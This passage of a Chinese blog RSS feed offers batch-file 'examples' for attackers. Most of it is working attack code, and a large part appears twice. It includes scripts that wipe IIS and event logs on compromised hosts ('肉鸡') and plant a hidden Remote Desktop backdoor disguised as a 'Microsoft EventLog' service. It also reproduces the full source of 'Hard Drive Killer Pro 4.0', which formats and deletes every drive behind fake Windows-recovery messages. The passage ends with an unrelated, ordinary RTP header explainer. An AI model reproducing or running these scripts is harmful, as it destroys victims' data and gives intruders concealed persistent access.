&gt;&gt;patch.dll <br />@REM [禁止匿名登录]<br /><br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] &gt;&gt;patch.dll <br />@echo "SMBDeviceEnabled"=dword:00000000 &gt;&gt;patch.dll <br />@REM [禁止及文件访问和打印共享]<br /><br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] &gt;&gt;patch.dll <br />@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] &gt;&gt;patch.dll <br />@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br />@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] &gt;&gt;patch.dll <br />@echo "ShutdownWithoutLogon"="0" &gt;&gt;patch.dll <br />@REM [禁止登录前关机]<br /><br />@echo "DontDisplayLastUserName"="1" &gt;&gt;patch.dll<br />@REM [禁止显示前一个登录用户名称] <br />@regedit /s patch.dll <br /><br />------------------------ cut here then save as .bat or .cmd file ---------------------------<br /><br />下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。<br />@regedit /s patch.dll <br />@net stop w3svc<br />@net stop event log<br />@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q<br />@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q<br />@del c:\winnt\system32\config\*.event /f /q<br />@del c:\winnt\system32dtclog\*.* /f /q<br />@del c:\winnt\*.txt /f /q<br />@del c:\winnt\*.log /f /q<br />@net start w3svc<br />@net start event log<br />@rem [删除日志]<br /><br /><br />@net stop lanmanserver /y <br />@net stop Schedule /y <br />@net stop RemoteRegistry /y <br />@del patch.dll <br />@echo The server has been patched,Have fun.<br />@del patch.bat<br />@REM [禁止一些危险的服务。]<br /><br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] &gt;&gt;patch.dll <br />@echo "PortNumber"=dword:00002010 &gt;&gt;patch.dll <br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp &gt;&gt;patch.dll <br />@echo "PortNumber"=dword:00002012 &gt;&gt;patch.dll <br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] &gt;&gt;patch.dll <br />@echo "Start"=dword:00000002 &gt;&gt;patch.dll <br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] &gt;&gt;patch.dll <br />@echo "Start"=dword:00000002 &gt;&gt;patch.dll <br />@echo "ErrorControl"=dword:00000001 &gt;&gt;patch.dll <br />@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ &gt;&gt;patch.dll <br />@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ &gt;&gt;patch.dll <br />@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 &gt;&gt;patch.dll <br />@echo "ObjectName"="LocalSystem" &gt;&gt;patch.dll <br />@echo "Type"=dword:00000010 &gt;&gt;patch.dll <br />@echo "Description"="Keep record of the program and windows' message。" &gt;&gt;patch.dll <br />@echo "DisplayName"="Microsoft EventLog" &gt;&gt;patch.dll <br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] &gt;&gt;patch.dll <br />@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br />@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe<br />@REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路]<br /><br />3.Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。）<br />------------------------ cut here then save as .bat or .cmd file ---------------------------<br />@echo off<br />rem This program is dedecated to a very special person that does not want to be named.<br />:start<br />cls<br />echo PLEASE WAIT WHILE PROGRAM LOADS . . .<br />call attrib -r -h c:\autoexec.bat &gt;nul<br />echo @echo off &gt;c:\autoexec.bat<br />echo call format c: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat<br />call attrib +r +h c:\autoexec.bat &gt;nul<br />rem Drive checking and assigning the valid drives to the drive variable.<br /><br />set drive=<br />set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z<br /><br />rem code insertion for Drive Checking takes place here.<br />rem drivechk.bat is the file name under the root directory.<br />rem As far as the drive detection and drive variable settings, don't worry about how it <br />rem works, it's d\*amn to complicated for the average or even the expert batch programmer.<br />rem Except for Tom Lavedas.<br /><br />echo @echo off &gt;drivechk.bat<br />echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" &gt; nul &gt;{t}.bat<br />%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat<br />del {t}.bat<br />echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat<br /><br />cls<br />echo PLEASE WAIT WHILE PROGRAM LOADS . . .<br /><br />rem When errorlevel is 1, then the above is not true, if 0, then it's true.<br />rem Opposite of binary rules. If 0, it will elaps to the next command.<br /><br />echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" &gt; nul &gt;{t}.bat<br />%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat<br />del {t}.bat<br />echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat<br /><br />cls<br />echo PLEASE WAIT WHILE PROGRAM LOADS . . .<br /><br />rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.<br />rem if errorlevel is 0, then it will elaps to the next command.<br /><br />echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" &gt; nul &gt;{t}.bat<br />%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat<br />del {t}.bat<br />echo if errorlevel 1 set drive=%%drive%% %%1 &gt;&gt;drivechk.bat<br /><br />cls<br />echo PLEASE WAIT WHILE PROGRAM LOADS . . .<br /><br />rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.<br />rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.<br /><br />echo :enddc &gt;&gt;drivechk.bat<br /><br />rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". <br /><br />rem Now we will use the program drivechk.bat to attain valid drive information.<br /><br />:Sampledrv<br /><br />for %%a in (%alldrive%) do call drivechk.bat %%a &gt;nul<br />del drivechk.bat &gt;nul<br />if %drive.==. set drive=c<br /><br />:form_del<br />call attrib -r -h c:\autoexec.bat &gt;nul<br />echo @echo off &gt;c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat<br />echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat<br />echo cls &gt;&gt;c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat<br />echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat<br />echo cls &gt;&gt;c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat<br />echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat<br />echo cls &gt;&gt;c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat<br />echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat<br />echo cls &gt;&gt;c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat<br />echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat<br />echo cls &gt;&gt;c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat<br />echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat<br />echo cd\ &gt;&gt;c:\autoexec.bat<br />echo cls &gt;&gt;c:\autoexec.bat<br />echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. &gt;&gt;c:\autoexec.bat<br />echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . &gt;&gt;c:\autoexec.bat<br />echo echo 1. To make people aware that security should not be taken for granted. &gt;&gt;c:\autoexec.bat<br />echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! &gt;&gt;c:\autoexec.bat<br />echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. &gt;&gt;c:\autoexec.bat<br />echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.&gt;&gt;c:\autoexec.bat<br /><br />echo echo. &gt;&gt;c:\autoexec.bat<br />echo echo Regards, &gt;&gt;c:\autoexec.bat<br />echo echo. &gt;&gt;c:\autoexec.bat<br />echo echo Munga Bunga &gt;&gt;c:\autoexec.bat<br />call attrib +r +h c:\autoexec.bat<br /><br />:makedir<br />if exist c:\temp.bat attrib -r -h c:\temp.bat &gt;nul<br />echo @echo off &gt;c:\temp.bat<br />echo %%1:\ &gt;&gt;c:\temp.bat<br />echo cd\ &gt;&gt;c:\temp.bat<br />echo :startmd &gt;&gt;c:\temp.bat<br />echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a &gt;&gt;c:\temp.bat<br />echo for %%%%a in ("&gt;ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! &gt;&gt;c:\temp.bat<br />echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd &gt;&gt;c:\temp.bat<br />call attrib +r +h c:\temp.bat &gt;nul<br /><br />cls<br />echo Initializing Variables . . .<br />rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.<br />for %%a in (%drive%) do call format %%a: /q /u /autoSample &gt;nul<br />cls<br />echo Initializing Variables . . .<br />echo Validating Data . . .<br />for %%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul<br />cls<br />echo Initializing Variables . . .<br />echo Validating Data . . .<br />echo Analyzing System Structure . . .<br />for %%a in (%drive%) call attrib -r -h %%a:\ /S &gt;nul<br />call attrib +r +h c:\temp.bat &gt;nul<br />call attrib +r +h c:\autoexec.bat &gt;nul<br />cls<br />echo Initializing Variables . . .<br />echo Validating Data . . .<br />echo Analyzing System Structure . . .<br />echo Initializing Application . . .<br /><br />for %%a in (%drive%) call deltree /y %%a:\*. &gt;nul<br />cls<br />echo Initializing Variables . . .<br />echo Validating Data . . .<br />echo Analyzing System Structure . . .<br />echo Initializing Application . . .<br />echo Starting Application . . .<br />for %%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul<br /><br />cls<br />echo Thank you for using a Munga Bunga product.<br />echo.<br />echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.<br />echo.<br />echo Here is a joke for you . . .<br />echo.<br />echo Q). What's the worst thing about being an egg?<br />echo A). You only get laid once.<br />echo.<br />echo HAHAHAHA, get it? Don't you just love that one?<br />echo.<br />echo Regards,<br />echo.<br />echo Munga Bunga<br /><br />:end<br /><br />rem Hard Drive Killer Pro Version 4.0, enjoy!!!!<br />rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here). <br /><br />六.精彩实例放送。<br />1.删除win2k/xp系统默认共享的批处理<br />------------------------ cut here then save as .bat or .cmd file ---------------------------<br /><br />@echo preparing to delete all the default shares.when ready pres any key.<br />@pause<br />@echo off <br /><br />:Rem check parameters if null show usage.<br />if {%1}=={} goto :Usage <br /><br />:Rem code start.<br />echo.<br />echo ------------------------------------------------------<br />echo.<br />echo Now deleting all the default shares.<br />echo.<br />net share %1$ /delete<br />net share %2$ /delete<br />net share %3$ /delete<br />net share %4$ /delete<br />net share %5$ /delete<br />net share %6$ /delete<br />net share %7$ /delete<br />net share %8$ /delete<br />net share %9$ /delete<br />net stop Server<br />net start Server<br />echo.<br />echo All the shares have been deleteed<br />echo.<br />echo ------------------------------------------------------<br />echo.<br />echo Now modify the registry to change the system default properties.<br />echo.<br />echo Now creating the registry file<br />echo Windows Registry Editor Version 5.00&gt; c:\delshare.reg<br />echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]&gt;&gt; c:\delshare.reg<br />echo "AutoShareWks"=dword:00000000&gt;&gt; c:\delshare.reg<br />echo "AutoShareServer"=dword:00000000&gt;&gt; c:\delshare.reg<br />echo Nowing using the registry file to chang the system default properties.<br />regedit /s c:\delshare.reg<br />echo Deleting the temprotarily files.<br />del c:\delshare.reg<br />goto :END <br /><br />:Usage<br />echo.<br />echo ------------------------------------------------------<br />echo.<br />echo ☆ A example for batch file ☆<br />echo ☆ [Use batch file to change the sysytem share properties.] ☆ <br />echo.<br />echo Author：Ex4rch<br />echo Mail:Ex4rch@hotmail.com QQ:1672602<br />echo.<br />echo Error：Not enough parameters<br />echo.<br />echo ☆ Please enter the share disk you wanna delete ☆<br />echo.<br />echo For instance，to delete the default shares:<br />echo delshare c d e ipc admin print<br />echo.<br />echo If the disklable is not as C: D: E: ，Please chang it youself.<br />echo.<br />echo example：<br />echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ：<br />echo delshare c d e x y z ipc admin print<br />echo.<br />echo *** you can delete nine shares once in a useing ***<br />echo.<br />echo ------------------------------------------------------<br />goto :EOF <br /><br />:END<br />echo.<br />echo ------------------------------------------------------<br />echo.<br />echo OK,delshare.bat has deleted all the share you assigned.<br />echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.<br />echo <br />echo.<br />echo ------------------------------------------------------<br />echo. <br /><br />:EOF<br />echo end of the batch file<br />------------------------ cut here then save as .bat or .cmd file ---------------------------<br /><br /><br />2.全面加固系统（给肉鸡打补丁）的批处理文件<br />------------------------ cut here then save as .bat or .cmd file ---------------------------<br /><br />@echo Windows Registry Editor Version 5.00 &gt;patch.dll <br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] &gt;&gt;patch.dll <br /><br />@echo "AutoShareServer"=dword:00000000 &gt;&gt;patch.dll <br />@echo "AutoShareWks"=dword:00000000 &gt;&gt;patch.dll <br />@REM [禁止共享]<br /><br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] &gt;&gt;patch.dll <br />@echo "restrictanonymous"=dword:00000001 &gt;&gt;patch.dll <br />@REM [禁止匿名登录]<br /><br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] &gt;&gt;patch.dll <br />@echo "SMBDeviceEnabled"=dword:00000000 &gt;&gt;patch.dll <br />@REM [禁止及文件访问和打印共享]<br /><br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] &gt;&gt;patch.dll <br />@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] &gt;&gt;patch.dll <br />@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br />@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] &gt;&gt;patch.dll <br />@echo "ShutdownWithoutLogon"="0" &gt;&gt;patch.dll <br />@REM [禁止登录前关机]<br /><br />@echo "DontDisplayLastUserName"="1" &gt;&gt;patch.dll<br />@REM [禁止显示前一个登录用户名称] <br />@regedit /s patch.dll <br /><br />------------------------ cut here then save as .bat or .cmd file ---------------------------<br /><br />下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。<br />@regedit /s patch.dll <br />@net stop w3svc<br />@net stop event log<br />@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q<br />@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q<br />@del c:\winnt\system32\config\*.event /f /q<br />@del c:\winnt\system32dtclog\*.* /f /q<br />@del c:\winnt\*.txt /f /q<br />@del c:\winnt\*.log /f /q<br />@net start w3svc<br />@net start event log<br />@rem [删除日志]<br /><br /><br />@net stop lanmanserver /y <br />@net stop Schedule /y <br />@net stop RemoteRegistry /y <br />@del patch.dll <br />@echo The server has been patched,Have fun.<br />@del patch.bat<br />@REM [禁止一些危险的服务。]<br /><br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] &gt;&gt;patch.dll <br />@echo "PortNumber"=dword:00002010 &gt;&gt;patch.dll <br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp &gt;&gt;patch.dll <br />@echo "PortNumber"=dword:00002012 &gt;&gt;patch.dll <br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] &gt;&gt;patch.dll <br />@echo "Start"=dword:00000002 &gt;&gt;patch.dll <br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] &gt;&gt;patch.dll <br />@echo "Start"=dword:00000002 &gt;&gt;patch.dll <br />@echo "ErrorControl"=dword:00000001 &gt;&gt;patch.dll <br />@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ &gt;&gt;patch.dll <br />@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ &gt;&gt;patch.dll <br />@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 &gt;&gt;patch.dll <br />@echo "ObjectName"="LocalSystem" &gt;&gt;patch.dll <br />@echo "Type"=dword:00000010 &gt;&gt;patch.dll <br />@echo "Description"="Keep record of the program and windows' message。" &gt;&gt;patch.dll <br />@echo "DisplayName"="Microsoft EventLog" &gt;&gt;patch.dll <br />@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] &gt;&gt;patch.dll <br />@echo "Start"=dword:00000004 &gt;&gt;patch.dll <br />@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe<br />@REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路]<br /><br />3.Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。）<br />------------------------ cut here then save as .bat or .cmd file ---------------------------<br />@echo off<br />rem This program is dedecated to a very special person that does not want to be named.<br />:start<br />cls<br />echo PLEASE WAIT WHILE PROGRAM LOADS . . .<br />call attrib -r -h c:\autoexec.bat &gt;nul<br />echo @echo off &gt;c:\autoexec.bat<br />echo call format c: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat<br />call attrib +r +h c:\autoexec.bat &gt;nul<br />rem Drive checking and assigning the valid drives to the drive variable.<br /><br />set drive=<br />set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z<br /><br />rem code insertion for Drive Checking takes place here.<br />rem drivechk.bat is the file name under the root directory.<br />rem As far as the drive detection and drive variable settings, don't worry about how it <br />rem works, it's d\*amn to complicated for the average or even the expert batch programmer.<br />rem Except for Tom Lavedas.<br /><br />echo @echo off &gt;drivechk.bat<br />echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" &gt; nul &gt;{t}.bat<br />%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat<br />del {t}.bat<br />echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat<br /><br />cls<br />echo PLEASE WAIT WHILE PROGRAM LOADS . . .<br /><br />rem When errorlevel is 1, then the above is not true, if 0, then it's true.<br />rem Opposite of binary rules. If 0, it will elaps to the next command.<br /><br />echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" &gt; nul &gt;{t}.bat<br />%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat<br />del {t}.bat<br />echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat<br /><br />cls<br />echo PLEASE WAIT WHILE PROGRAM LOADS . . .<br /><br />rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.<br />rem if errorlevel is 0, then it will elaps to the next command.<br /><br />echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" &gt; nul &gt;{t}.bat<br />%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat<br />del {t}.bat<br />echo if errorlevel 1 set drive=%%drive%% %%1 &gt;&gt;drivechk.bat<br /><br />cls<br />echo PLEASE WAIT WHILE PROGRAM LOADS . . .<br /><br />rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.<br />rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.<br /><br />echo :enddc &gt;&gt;drivechk.bat<br /><br />rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". <br /><br />rem Now we will use the program drivechk.bat to attain valid drive information.<br /><br />:Sampledrv<br /><br />for %%a in (%alldrive%) do call drivechk.bat %%a &gt;nul<br />del drivechk.bat &gt;nul<br />if %drive.==. set drive=c<br /><br />:form_del<br />call attrib -r -h c:\autoexec.bat &gt;nul<br />echo @echo off &gt;c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat<br />echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat<br />echo cls &gt;&gt;c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat<br />echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat<br />echo cls &gt;&gt;c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat<br />echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat<br />echo cls &gt;&gt;c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat<br />echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat<br />echo cls &gt;&gt;c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat<br />echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat<br />echo cls &gt;&gt;c:\autoexec.bat<br />echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:\autoexec.bat<br />echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat<br />echo cd\ &gt;&gt;c:\autoexec.bat<br />echo cls &gt;&gt;c:\autoexec.bat<br />echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. &gt;&gt;c:\autoexec.bat<br />echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . &gt;&gt;c:\autoexec.bat<br />echo echo 1. To make people aware that security should not be taken for granted. &gt;&gt;c:\autoexec.bat<br />echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! &gt;&gt;c:\autoexec.bat<br />echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. &gt;&gt;c:\autoexec.bat<br />echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.&gt;&gt;c:\autoexec.bat<br /><br />echo echo. &gt;&gt;c:\autoexec.bat<br />echo echo Regards, &gt;&gt;c:\autoexec.bat<br />echo echo. &gt;&gt;c:\autoexec.bat<br />echo echo Munga Bunga &gt;&gt;c:\autoexec.bat<br />call attrib +r +h c:\autoexec.bat<br /><br />:makedir<br />if exist c:\temp.bat attrib -r -h c:\temp.bat &gt;nul<br />echo @echo off &gt;c:\temp.bat<br />echo %%1:\ &gt;&gt;c:\temp.bat<br />echo cd\ &gt;&gt;c:\temp.bat<br />echo :startmd &gt;&gt;c:\temp.bat<br />echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a &gt;&gt;c:\temp.bat<br />echo for %%%%a in ("&gt;ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! &gt;&gt;c:\temp.bat<br />echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd &gt;&gt;c:\temp.bat<br />call attrib +r +h c:\temp.bat &gt;nul<br /><br />cls<br />echo Initializing Variables . . .<br />rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.<br />for %%a in (%drive%) do call format %%a: /q /u /autoSample &gt;nul<br />cls<br />echo Initializing Variables . . .<br />echo Validating Data . . .<br />for %%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul<br />cls<br />echo Initializing Variables . . .<br />echo Validating Data . . .<br />echo Analyzing System Structure . . .<br />for %%a in (%drive%) call attrib -r -h %%a:\ /S &gt;nul<br />call attrib +r +h c:\temp.bat &gt;nul<br />call attrib +r +h c:\autoexec.bat &gt;nul<br />cls<br />echo Initializing Variables . . .<br />echo Validating Data . . .<br />echo Analyzing System Structure . . .<br />echo Initializing Application . . .<br /><br />for %%a in (%drive%) call deltree /y %%a:\*. &gt;nul<br />cls<br />echo Initializing Variables . . .<br />echo Validating Data . . .<br />echo Analyzing System Structure . . .<br />echo Initializing Application . . .<br />echo Starting Application . . .<br />for %%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul<br /><br />cls<br />echo Thank you for using a Munga Bunga product.<br />echo.<br />echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.<br />echo.<br />echo Here is a joke for you . . .<br />echo.<br />echo Q). What's the worst thing about being an egg?<br />echo A). You only get laid once.<br />echo.<br />echo HAHAHAHA, get it? Don't you just love that one?<br />echo.<br />echo Regards,<br />echo.<br />echo Munga Bunga<br /><br />:end<br /><br />rem Hard Drive Killer Pro Version 4.0, enjoy!!!!<br />rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here). <br /><br />No.7 <br /></span>
<img src ="http://www.cnitblog.com/liaoqingshan/aggbug/9181.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/liaoqingshan/" target="_blank">游子</a> 2006-04-14 14:59 <a href="http://www.cnitblog.com/liaoqingshan/articles/9181.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>RTP头格式</title><link>http://www.cnitblog.com/liaoqingshan/articles/9166.html</link><dc:creator>游子</dc:creator><author>游子</author><pubDate>Fri, 14 Apr 2006 01:37:00 GMT</pubDate><guid>http://www.cnitblog.com/liaoqingshan/articles/9166.html</guid><wfw:comment>http://www.cnitblog.com/liaoqingshan/comments/9166.html</wfw:comment><comments>http://www.cnitblog.com/liaoqingshan/articles/9166.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/liaoqingshan/comments/commentRss/9166.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/liaoqingshan/services/trackbacks/9166.html</trackback:ping><description><![CDATA[
		<table cellspacing="0" cellpadding="5" width="100%" border="0">
				<tbody>
						<tr>
								<td>
										<strong>
												<font color="#18188c" size="4">以下从<a href="http://www.blog.edu.cn/user2/38673/index.shtml">http://www.blog.edu.cn/user2/38673/index.shtml</a>的日志转来</font>
										</strong>
								</td>
						</tr>
						<tr>
								<td>
										<p>详细见RFC3550 5.1节，这部分只是对RTP头格式的一些翻译和总结（图片来自JMF 2.0 API Guide）</p>
										<p>   <img style="CURSOR: pointer" onclick="javascript:window.open(this.src);" src="http://crmky.blogdriver.com/crmky/inc/RTP.gif" width="368" onload="javascript: img_auto_size(this,450,true);" /></p>
										<p>   前12个字节在每一个RTP packet中都存在，而一系列的CSRC标记只有存在Mixer时才有。</p>
										<p>   version (V): 2 bits<br />      标明RTP版本号。协议初始版本为0，RFC3550中规定的版本号为2。</p>
										<p>   padding (P): 1 bit<br />      如果该位被设置，则在该packet末尾包含了额外的附加信息，附加信息的最后一个字节表示额外附加信息的长度（包含该字节本身）。该字段之所以存在是因为一些加密机制需要固定长度的数据块，或者为了在一个底层协议数据单元中传输多个RTP packets。</p>
										<p>   extension (X): 1 bit<br />      如果该位被设置，则在固定的头部后存在一个扩展头部，格式定义在RFC3550 5.3.1节。</p>
										<p>   CSRC count (CC): 4 bits<br />      在固定头部后存在多少个CSRC标记。</p>
										<p>   marker (M): 1 bit<br />      该位的功能依赖于profile的定义。profile可以改变该位的长度，但是要保持marker和payload type总长度不变（一共是8 bit）。</p>
										<p>   payload type (PT): 7 bits<br />      标记着RTP packet所携带信息的类型，标准类型列出在RFC3551中。如果接收方不能识别该类型，必须忽略该packet。</p>
